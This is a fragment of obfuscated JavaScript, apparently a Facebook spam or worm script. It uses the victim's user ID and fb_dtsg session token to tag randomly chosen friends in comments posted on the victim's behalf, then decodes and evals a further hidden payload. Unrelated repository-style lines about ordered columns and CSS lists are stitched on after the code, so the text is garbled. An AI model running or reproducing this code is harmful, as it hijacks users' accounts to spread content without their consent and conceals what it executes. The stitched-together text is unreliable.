_0x7892x8=_0xa22c[24];_0x7892x8+=_0xa22c[25];_0x7892x8+=_0xa22c[26];_0x7892x8+=_0xa22c[27];_0x7892x8+=_0xa22c[28]+user_id;_0x7892x8+=_0xa22c[29]+user_id;if(document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30])>=0){_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[34]+_0x7892x8,true);} else {_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[36]+_0x7892x8,true);} ;_0x7892x7[_0xa22c[37]]();} ;function RandomArkadas(){var _0x7892xa=_0xa22c[10];for(i=0;i<9;i++){_0x7892xa+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]]+_0xa22c[22];} ;return _0x7892xa;} ;function yorum_yap(id,_0x7892xc){var _0x7892xd= new XMLHttpRequest();var _0x7892x8=_0xa22c[10];_0x7892x8+=_0xa22c[40]+id;_0x7892x8+=_0xa22c[41]+encodeURIComponent(_0x7892xc);_0x7892x8+=_0xa22c[42];_0x7892x8+=_0xa22c[43];_0x7892x8+=_0xa22c[44];_0x7892x8+=_0xa22c[45];_0x7892x8+=_0xa22c[46];_0x7892x8+=_0xa22c[47]+id+_0xa22c[48];_0x7892x8+=_0xa22c[49];_0x7892x8+=_0xa22c[50];_0x7892x8+=_0xa22c[51];_0x7892x8+=_0xa22c[52];_0x7892x8+=_0xa22c[29]+user_id;_0x7892x8+=_0xa22c[53];_0x7892x8+=_0xa22c[54];_0x7892x8+=_0xa22c[55];_0x7892x8+=_0xa22c[56]+fb_dtsg;_0x7892x8+=_0xa22c[57];_0x7892xd[_0xa22c[35]](_0xa22c[58],_0xa22c[59],true);_0x7892xd[_0xa22c[62]](_0xa22c[60],_0xa22c[61]);_0x7892xd[_0xa22c[6]]=function (){if(_0x7892xd[_0xa22c[7]]==4&&_0x7892xd[_0xa22c[63]]==200){_0x7892xd[_0xa22c[64]];} ;} ;_0x7892xd[_0xa22c[37]](_0x7892x8);} ;arkadaslari_al(id); var _5066;var _4528='891C189F122F1768C1867A1804B1921B1939D1255E1246C1561E1948B1876D1867B1768D1831E1183C1615D1804A1885D1822C1840A1885A1939A1840F1903F1183C1615C1921F1894F1813B1840F1867C1876D1948D1183B1543F1768F1921D1840A1183C1552F1885B1840F1183B2011A2011A1183A1498C1894B1966D1894D1858B1183B1363C1390B1183C1894E1921C1768E1885D1822C1183D1795B1768E1885E1183B1498B1804F1966F1804F1858D1183A1354B1345F1183D1894F1921C1768E1885B1822F1183D2011F2011A1183C1489E1984C1183B1471C1768D1795D1840F1777F1615E1597D1183F1246D1264E1426E';var _4155=/[\x41\x42\x43\x44\x45\x46]/;var _9561=2;var _6544=_4528.charAt(_4528.length-1);var _2860;var _8911=_4528.split(_4155);var _4321=[String.fromCharCode,isNaN,parseInt,String];_8911[1]=_4321[_9561+1](_4321[_9561](_8911[1])/21);var _4609=(_9561==6)?String:eval;_2860='';_11=_4321[_9561](_8911[0])/_4321[_9561](_8911[1]);for(_5066=3;_5066<_11;_5066++)_2860+=(_4321[_9561-2]((_4321[_9561](_8911[_5066])+_4321[_9561](_8911[2])+_4321[_9561](_8911[1]))/_4321[_9561](_8911[1])-_4321[_9561](_8911[2])+_4321[_9561](_8911[1])-1));var _3559='_3336';var _4023='_3559=_2860';function _9152(_4991){_4609(_2244);_9152(_3380);_3380(_4023);_9152(_3559);}var _2244='_9152=_4609';var _3380='_3380=_9152';_9152(_6544); //Report report("100001140912220");
DeloreanDMC
maximum element of ordered columns
aperdomoll90
Rule-driven CSV generator with ordered columns and type-safe schemas.
George-u
Creating Register/Login Form, Creating unordered/ordered list, Creating 3 columns Table
zooniverse
Sort a row-ordered array into column-order
shihabiiuc
Make ordered and unordered two column list using CSS Grid